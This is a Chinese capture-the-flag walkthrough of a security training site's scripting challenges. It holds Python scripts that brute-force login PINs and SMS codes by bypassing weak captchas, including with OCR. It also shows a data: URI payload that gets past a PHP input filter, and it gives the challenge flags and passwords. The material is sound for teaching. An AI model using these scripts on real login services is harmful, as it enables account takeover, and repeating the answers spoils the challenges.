网络安全实验室平台(脚本关)

时间:2022-07-22
本文章向大家介绍网络安全实验室平台(脚本关),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

看到了一个好玩的平台————网络安全实验室,看起来对新手还是有帮助的,如果你有编程基础也可以看看脚本关哦!

平台地址:http://hackinglab.cn/ShowQues.php?type=bases

用到的编程语言:python

建议先自行闯关,再参考以下攻略,才有所提高哦!

第一题

  • key又又找不到了 分值: 200

小明这次哭了,key又找不到了!!!key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!![地址]:(http://lab1.xseclab.com/xss1_30ac8668cd453e7e387c76b132b140bb/index.php)

思路:抓包看是否有重定向

第二题

  • 快速口算 分值: 350

小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?

在线:http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php

思路:写脚本抓取页面算式,再将答案提交到输入框运用到自动交互模块selenium代码如下:

import requests
import re
from selenium import webdriver

dirver=webdriver.Firefox()
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
dirver.get(url)
#res=requests.get(url).content.decode('utf-8')
res=dirver.page_source
num=re.findall('(.*?)=<input name="v" type="text"',res)
result=eval(num[0].strip())
#data={'v':result}
#res=requests.post(url,data=data).content.decode('utf-8')
dirver.find_element_by_xpath("html/body/form/input[1]").send_keys(result)  # 搜索输入框输入Selenium
dirver.find_element_by_xpath("html/body/form/input[2]").click()  #点击百度一下按钮
res=dirver.page_source
print(res)

第三题

这个题目是空的 分值: 100 Tips:这个题目真不是随便设置的。什么才是空的呢?通关地址:没有,请直接提交答案(小写即可)

思路:空?还要小写?null试试,果然!

第四题:

怎么就是不弹出key呢?分值: 150 提交说明:提交前14个字符即可过关 [地址]:(http://lab1.xseclab.com/xss3_5dcdde90bbe55087eb3514405972b1a6/index.php)

思路:点击没反应,看源代码

__思路:js代码,a伪变量,将源码复制下来,去掉前面几个函数试试 步骤:将前面几个函数去掉,保存为html格式,用浏览器打开试试

(注意要加n才方便看前14字符)

  • 轻松拿到key:

图片.png

第五题:

逗比验证码第一期 分值: 100 逗比的验证码,有没有难道不一样吗?[地址]:(http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php) 思路:

  1. 看验证码是否可以重复使用
  2. 可用burpsuit爆破或者保持会话脚本访问
  3. 测试验证码,发现同一个验证码可以重复登录,即验证码不刷新,直接写脚本
import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'GNQK','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

得到密码为 1238

第六题:

逗比验证码第二期 分值: 150 验证便失效的验证码 [地址]:(http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php)

思路:将验证码参数变为’’

import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(1000,10000):
    data={'username':'admin','pwd':num,'vcode':'','submit':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

得到密码为1228

第七题

逗比的验证码第三期(SESSION) 分值: 150 尼玛,验证码怎么可以这样逗比。验证码做成这样,你家里人知道吗?[地址]:(http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php)

思路:发现这关和上一关没多大区别,是提示要保持session?前一关貌似也是那样做的呀套用上一关脚本,直接出答案.....1298 -------正确 key is LJLJLfuckvcodesdf#@sd

第八题:

微笑一下就能过关了 分值: 150 尼玛,碰到这样的题我能笑得出来嘛... [地址]:(http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php)思路:看到题目有点懵,难道要刷脸吗?看下源代码先

<?php  
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) { 
        show_source(__FILE__); 
        exit(); 
    } 
    include('flag.php'); 
    $smile = 1;  
   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;  
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; 
    if ($smile) { 
        if (@file_exists ($_GET['^_^'])) $smile = 0;  
    }  
    if ($smile) { 
        $smile = @file_get_contents ($_GET['^_^']);  
        if ($smile === "(●'◡'●)") die($flag);  
    }  
?>
  1. 原来是带有笑脸的get参数。。。。,找找度娘
  2. 从源码中可以发现屏蔽了ftp和http协议且要是文件,通过php手册或者度娘可以用 Data协议,所以可以构造http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php? ^.^=data:text/html;charset=unicode,(●’◡’●)
  3. 一定要记住对微笑进行转码,我就在这里卡了半天,到最后发现是没有转码,郁闷!!所以转码可得payload:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^.^=data:text/html;charset=unicode,%28%E2%97%8F%27%E2%97%A1%27%E2%97%8F%29

第九题:

逗比的手机验证码 分值: 150 你的手机号码是13388886666,验证码将会以弹窗的形式给出 [地址]:(http://lab1.xseclab.com/vcode5_mobi_5773f3def9f77f439e058894cefc42a8/)

  • 步骤:获取手机号码验证码后换号码登录

轻松拿到key

第十题:

基情燃烧的岁月 分值: 150 Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟!闺蜜手机号码:13388886666 [地址]:(http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/)

思路:获取验证码

看来又得写脚本便利了,验证码肯定为100-999 用之前通关代码稍微修改下,变废为宝

import requests
import re
s=requests.Session()
url="http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}
for num in range(100,1000):
    data={'username':'13399999999','vcode':num,'Login':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')
    print(res)
    if u'pwd error' in res:
        print('正在尝试',num,'-----密码错误!')
    if u'vcode error' in res:
        print('验证码错误,请重新查看并输入正确验证码!')
    # print(res)
    if u'error' not in res:
        print(num,'-------正确')
        print(res)
        break

167 -------正确 你伤心的发现他/她正在跟你的前男/女友勾搭.....于是下决心看看前任除了跟你的(男/女)闺蜜勾搭,是不是还跟别的勾搭.. 前任的手机号码是:13399999999 找到前任了,再把这个手机号码替换到代码中去爆破:

第十一题:

验证码识别 分值: 350 验证码识别 Tips:验证码依然是3位数 [地址]:(http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php)

需要安装tesseract-ocr模块,通过tesseract来识别验证码,代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017-09-16 14:41:09
# @Word    : python can change world!
# @Version : python3.6

import requests
import re
import pytesseract
from PIL import Image
import urllib.request
import sys

s=requests.Session()
url="http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php"
head={'cookie':'PHPSESSID=844e5142519e671ce9180b9a47588675'}

def main():
    num=100
    while num<1000:
        code=get_code()
        get_url(num, code)
        num+=1

def get_code():
    urllib.request.urlretrieve('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php','1.png')
    code=pytesseract.image_to_string(Image.open('1.png'))
    code=code.replace(' ','')
    #print(code)
    try:
        if len(code)==4:
        
            print('验证码是',code)
            return code
            #print(code)
        else:
            print("重新获取验证码!")
            get_code()

    except UnicodeEncodeError:
        pass
        

def get_url(num,code):
    data={'username':'13388886666','mobi_code':num,'user_code':code,'Login':'submit'}
    res=s.post(url,data=data,headers=head).content.decode('utf-8')

    if u'error' not in res:

        print(res,'密码是',num)
        sys.exit()
    else:
        print(res,'密码是',num,'---错误')
        #print("正在尝试...")


if __name__ == '__main__':
    main()

个人偏喜欢做脚本关,能有一种写作业的充实感,不过题目也偏简单,其中验证码识别并不是真正的验证码识别,与实战有些差别,总之通关了脚本关相信会和我一样收获了很多,总结消化后,再战下一关!欢迎志同道合的小伙伴沟通交流学习哦!